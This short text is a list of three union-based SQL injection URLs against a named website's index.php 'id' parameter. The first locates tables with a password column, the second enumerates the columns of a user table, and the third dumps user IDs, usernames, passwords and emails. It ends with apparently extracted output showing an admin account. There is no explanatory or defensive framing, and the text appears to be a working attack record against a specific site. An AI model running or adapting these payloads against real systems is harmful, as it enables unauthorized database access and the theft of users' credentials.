http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,concat(table_schema,0x3a,table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+column_name=0x70617373776F7264+--+

http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,column_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x6769+and+table_name=0x6175746F6B616C656E6465725F7573657273+limit+0,1+--+

http://www.gi.ee/index.php?page=6&id=-1)+union+select+1,2,3,4,5,concat_ws(0x3a,uid,username,password,email),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+gi.autokalender_users+limit+0,1+--+

1:admin:password:2: